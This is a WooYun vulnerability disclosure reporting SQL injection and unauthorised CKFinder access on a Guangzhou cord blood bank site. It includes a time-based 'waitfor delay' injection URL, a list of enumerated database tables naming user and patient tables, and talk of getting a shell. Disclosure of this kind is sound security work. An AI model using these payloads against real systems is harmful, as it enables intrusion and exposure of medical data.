当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2015-0136934

漏洞标题：广州市脐血库SQL注入漏洞

相关厂商：广东省信息安全测评中心

漏洞作者： ksss

提交时间：2015-08-26 15:00

修复时间：2015-10-11 17:20

公开时间：2015-10-11 17:20

漏洞类型：SQL注射漏洞

危害等级：高

自评Rank：15

漏洞状态：已交由第三方合作机构(广东省信息安全测评中心)处理

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2015-08-26： 细节已通知厂商并且等待厂商处理中
2015-08-27： 厂商已经确认，细节仅向厂商公开
2015-09-06： 细节向核心白帽子及相关领域专家公开
2015-09-16： 细节向普通白帽子公开
2015-09-26： 细节向实习白帽子公开
2015-10-11： 细节向公众公开

简要描述：

一处注入与一处越权一起交了吧

详细说明：

QQ截图20150825202253.png


http://**.**.**.**/ckfinder/ckfinder.html?action=js&func=SetFileField&data=xPicture&thumbFunc=ShowThumbnails&start=Images.asp%3A%2F%3A0


有一处ckeditor的越权，可以上传下载网站资料

QQ截图20150825202425.png


要是6.0这里就getshell了，但是网站用的是IIS7.5，试了一些7.5的解析漏洞的后缀，ckeditor都给禁用了。这个越权算一个小漏洞吧，可以补注入的时候顺手补了。

http://**.**.**.**/admin/ajaxgetty.ashx?gy=9L%27;waitfor%20delay%20%270:0:10%27;--%20-anUrwfN&t=0.9660481179598719&type=A


这个地方，参数gy存在注入

QQ截图20150825202911.png


Database: bds0130374_db
[52 tables]
+--------------------------+
| HL                       |
| XHX_HL_S                 |
| XHX_HL_S                 |
| XHX_USER_HY              |
| XHX_USER_HY              |
| user                     |
| administator             |
| attention                |
| auditingBloodNo          |
| auditingPayCertificate   |
| auditingpplication       |
| blood                    |
| certifications           |
| dt_Channel               |
| dt_Contents              |
| dt_Downloads             |
| dt_Feedback              |
| dt_Links                 |
| dt_PicturesExtension     |
| dt_PicturesField         |
| dt_Pictureslbum          |
| dt_Pictureslbum          |
| dt_SystemLog             |
| dt_dbanner               |
| dt_dministrator          |
| dt_dvertising            |
| dt_llReviews             |
| dt_rticle0               |
| dt_rticle0               |
| dt_rticle1               |
| gy2ty                    |
| linkman                  |
| message                  |
| myHL                     |
| orders                   |
| patientFX                |
| patient_blood_view       |
| patient_blood_view       |
| querypplication          |
| question                 |
| reply                    |
| report                   |
| transplantConfirm        |
| transplantFeedback       |
| transplantPayCertificate |
| xhx_CLSS                 |
| xhx_aboutus              |
| xhx_admin                |
| xhx_getinfo              |
| xhx_link                 |
| xhx_message              |
| xhx_siteweb              |
+--------------------------+


user表里面，存着详细的用户信息

QQ截图20150825203140.png


QQ截图20150825203523.png


漏洞证明：

QQ截图20150825202911.png


QQ截图20150825203140.png

修复方案：

参数过滤；编辑器功能页限制访问权限

版权声明：转载请注明来源 ksss@乌云

漏洞回应

厂商回应：

危害等级：高

漏洞Rank：12

确认时间：2015-08-27 17:19

厂商回复：

非常感谢您的报告。
报告中的问题已确认并复现.
影响的数据：高
攻击成本：低
造成影响：高
综合评级为：高，rank：12
正在联系相关网站管理单位处置。

最新状态：

暂无

漏洞评价：

评论